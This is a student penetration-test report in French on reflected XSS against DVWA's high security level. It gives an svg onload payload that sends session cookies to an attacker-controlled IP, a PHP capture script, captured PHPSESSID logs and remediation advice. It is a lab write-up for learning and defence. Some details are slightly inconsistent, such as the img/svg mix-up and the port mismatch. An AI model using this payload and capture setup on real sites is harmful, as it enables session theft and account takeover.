



RAPPORT D'EXPLOITATION DE LA FAILLE **REFLECTED-XSS INJECTION** SUR
L'APPLICATION DVWA POUR Récupérer le cookie de session dans le fichier xss.txt :
LEVEL HIGH

Test de pénétration Réalisé par :

- BALOUBI Aline
- DEGBE Perside
- GOHOUE Guérinda
- AÏGBA Innocentia

Version 1.0

Année académique : 2025-2026

Sommaire

1. Résumé Exécutif
2. Phase de Reconnaissance et Analyse du Filtre
3. Vecteur d'Exploitation (Payload)
4. Mise en Place de l'Infrastructure C2
5. Preuve de Concept (PoC)
6. Analyse de l'Impact
7. Recommandations de Sécurité

1. Résumé Exécutif

Au cours de notre évaluation de la sécurité sur l'application DVWA, nous avons identifié et exploité une vulnérabilité de type **Cross-Site Scripting (XSS) Réfléchi**. Malgré les mécanismes de filtrage en place au niveau "High", nous avons réussi à contourner les restrictions pour exfiltrer les cookies de session vers une infrastructure de contrôle externe.

2. Phase de Reconnaissance et Analyse du Filtre

Reflected XSS Source

vulnerabilities/xss_r/source/high.php

```
<?php
header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*?)s(.*?)c(.*?)r(.*?)i(.*?)p(.*?)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello {$name}</pre>";
}

?>
```

Compare All Levels

Dans cette phase, nous avons analysé le comportement du serveur face à des injections classiques.

- **Observation du filtrage :** Nous avons constaté que l'application utilise une expression régulière `preg_replace` pour supprimer toute occurrence du mot-clé `script`. Les tentatives utilisant `<script>`, `<sCrIpT>` ou des espaces ont été neutralisées.
- **Identification de la faille :** Le filtre se concentre exclusivement sur la balise `<script>`. Il ne prend pas en compte les attributs d'événements JavaScript (Event Handlers) associés à d'autres balises HTML autorisées.

3. Vecteur d'Exploitation (Payload)

Pour contourner la protection, nous avons opté pour un vecteur utilisant une balise d'image `<img>` avec un gestionnaire d'erreur.

Payload utilisé :

```
<svg/onload="new  
Image().src='http://192.168.222.128/log.php?c='+document.cookie">
```

- **Mécanisme** : Le filtre ne "connaît" probablement pas l'événement `onload` lorsqu'il est attaché à une balise `<svg>`. Pour le serveur, cela ressemble à un dessin inoffensif, alors que pour le navigateur, c'est un conteneur capable d'exécuter du code dès qu'il est dessiné sur la page.

4. Mise en Place de l'Infrastructure C2

Nous avons configuré un serveur d'écoute sur notre machine de test (Kali Linux) pour réceptionner et archiver les données volées.

- **Serveur** : Serveur PHP interne écoutant sur le port 8080.

```
(root@kali)-[/var/www/html]
$ php -S 192.168.222.128:8080
[Thu Jan 29 10:31:44 2026] PHP 8.4.16 Development Server (http://192.168.222.128:8080) started
```

- **Script de capture (log.php)** : Un script conçu pour extraire le paramètre `c` de l'URL et l'écrire dans un fichier local nommé `xss.txt`.

```
(kali@kali)-[/var/www/html]
$ cat log.php
<?php
// On récupère le paramètre 'c' qui contiendra le cookie
if (isset($_GET['c'])) {
    $log = "Date: " . date('Y-m-d H:i:s') . " | IP: " . $_SERVER['REMOTE_ADDR'] . " | Cookie: " . $_GET['c'] . PHP_EOL;
    // On écrit dans xss.txt (FILE_APPEND évite d'écraser les captures précédentes)
    file_put_contents('xss.txt', $log, FILE_APPEND);
}
?>
```

5. Preuve de Concept (PoC)

```
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ tail -f /var/www/html/xss.txt
Date: 2026-01-29 15:32:20 | IP: 192.168.222.128 | Cookie: TEST_DE_CONNEXION
Date: 2026-01-29 15:35:36 | IP: 192.168.222.128 | Cookie: TEST_DE_CONNEXION
Date: 2026-01-29 15:41:53 | IP: 192.168.222.128 | Cookie: PHPSESSID=b94e83276a9ef13f72888437bbbd68c3; security=low
Date: 2026-01-29 15:47:43 | IP: 192.168.222.128 | Cookie: PHPSESSID=b94e83276a9ef13f72888437bbbd68c3; security=high
Date: 2026-01-29 16:50:49 | IP: 192.168.222.128 | Cookie: PHPSESSID=b94e83276a9ef13f72888437bbbd68c3; security=high
```

L'injection du payload dans le champ vulnérable a permis de confirmer l'exfiltration réussie des données de session.

1. Injection du payload dans le formulaire de l'application.
2. Déclenchement automatique de la requête par le navigateur de la victime.
3. Réception du cookie de session sur notre serveur.

6. Analyse de l'Impact

L'exploitation réussie de cette vulnérabilité permet à un attaquant de :

- **Détourner des sessions utilisateur :** En récupérant le PHPSESSID, nous pouvons usurper l'identité de n'importe quel utilisateur (y compris l'administrateur) sans authentification.
- **Accéder à des données sensibles :** Lecture des informations personnelles et accès aux fonctionnalités d'administration.

7. Recommandations de Sécurité

Pour corriger cette vulnérabilité, nous préconisons les mesures suivantes :

Couche 1 : L'encodage systématique (La base)

Au lieu d'essayer de filtrer les mauvais mots (comme en High), il faut neutraliser tous les caractères spéciaux.

- **Action :** Utiliser `htmlspecialchars()` en PHP.
- **Pourquoi :** Cela transforme `<script>` en `<script>`. Le navigateur l'affiche comme du texte au lieu de l'exécuter.

Couche 2 : Le flag HttpOnly (Le rempart)

Même si un attaquant trouve une faille XSS que vous avez oubliée, il ne pourra pas voler la session.

- **Action :** Configurer le cookie de session dans le fichier `php.ini` ou via le code :

```
session_start([
    'cookie_httponly' => true,
    'cookie_secure' => true, // Seulement si HTTPS est utilisé
    'samesite' => 'Strict'
]);
```

Couche 3 : Content Security Policy - CSP (Le filet de sécurité)

C'est la recommandation la plus "moderne" et la plus puissante. C'est un en-tête HTTP envoyé par le serveur qui dit au navigateur : "N'exécute aucun script qui n'est pas validé par moi".

- **Exemple d'en-tête :**

```
Content-Security-Policy: default-src 'self'; script-src 'self';
```

- **Effet :** Même si on injecte `<script>alert(1)</script>`, le navigateur refusera de l'exécuter car il n'est pas stocké dans un fichier local approuvé sur le serveur.